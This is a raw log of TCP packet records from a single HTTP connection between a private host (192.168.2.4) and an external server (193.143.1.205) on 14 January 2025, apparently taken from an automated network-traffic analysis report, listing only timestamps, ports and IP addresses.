Jan 14, 2025 11:12:03.148462057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148475885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.148494959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162185907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162195921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162204981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162240982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162245989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162273884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162275076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162307978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162318945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162357092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162398100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162408113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162456989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162491083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162498951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162523031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162556887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162568092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162589073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162622929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162631035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.162893057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162921906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.162939072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.195607901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.195657969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.195686102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.195693016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.195728064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.195739985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.195765972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.195795059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.195810080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232331038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232381105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232414007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232446909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232485056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232485056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232497931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232528925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232551098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232561111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232594013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232603073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232625008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232665062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232722044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232753992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232785940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232800007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232834101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232877016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232882977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232916117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232948065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.232959986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.232979059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233021975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233021975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233084917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233134031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233134985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233165979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233197927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233208895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233261108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233304024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233310938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233342886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233385086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233392000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233424902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233457088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233465910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233489990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233530998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233539104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233571053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233603001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233612061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233635902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233669043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233676910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.233700991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233736992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.233742952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270076990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270149946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270185947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270220041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270253897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270268917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270268917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270293951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270308018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270342112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270370960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270385981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270404100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270436049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270445108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270467997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270500898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270509005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270550013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270591974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270598888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270627975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270669937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270677090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270710945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270745039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270752907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270838022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270870924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270879030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270904064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270936012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.270944118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.270967960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271001101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271011114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271034002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271075010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271083117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271116018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271147966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271157026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271179914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271223068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271230936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271265984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271297932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271308899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271362066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271394014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271408081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271435976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271467924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271476030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271501064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271532059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271548033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271565914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271605968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271785975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271819115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271862030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271868944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271917105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271950960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.271959066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.271982908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272016048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272022963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272066116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272106886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272116899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272164106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272197008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272209883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272229910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272262096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272274017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272294998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272326946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272336006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272361040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272393942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272409916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272425890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272459984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272465944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272779942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272821903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272829056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272864103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272907019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.272912979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272945881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272978067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.272986889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.273032904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273076057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.273082018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273116112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273148060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273158073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.273180962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273214102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273219109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.273247004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273279905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273292065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.273312092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273348093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273353100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.273705006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273734093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.273746967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.273854017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.278248072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.319534063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319602966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319638968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319657087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.319672108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319705009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319710970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.319737911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319771051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319776058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.319803953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319838047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319844961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.319870949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319910049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.319922924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.319972038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320012093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320020914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320053101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320086002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320090055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320117950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320156097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320158958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320187092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320223093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320226908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320255995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320290089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320297003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320339918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320382118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320389986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320439100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320472002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320481062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320506096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320538998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320554972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320569992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320604086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320612907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320849895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320882082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320893049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320934057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320966005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.320974112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.320998907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321029902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321039915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.321063042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321094990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321101904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.321127892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321158886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321167946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.321192980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321227074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321234941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.321260929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.321301937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.323301077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.357357979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357434034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357549906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357584000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357620001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357670069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357693911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.357703924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357734919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.357737064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357770920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357783079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.357803106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357836008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357846022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.357866049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357897997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357908010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.357930899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357963085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.357975960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.357995987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358038902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358058929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358093023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358124971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358141899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358156919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358190060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358217001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358223915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358256102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358268976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358288050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358320951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358340025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358352900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358401060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358402014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358434916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358465910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358486891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358499050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358530998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358549118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358563900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358596087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358609915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358633041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358675957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358813047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358845949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358877897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358894110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358910084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358943939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358958006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.358974934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.358994007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359026909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359036922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359066963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359277964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359312057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359379053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359381914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359430075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359463930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359484911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359496117 CET	80	49730	193.143.1.205	192.168.2.4
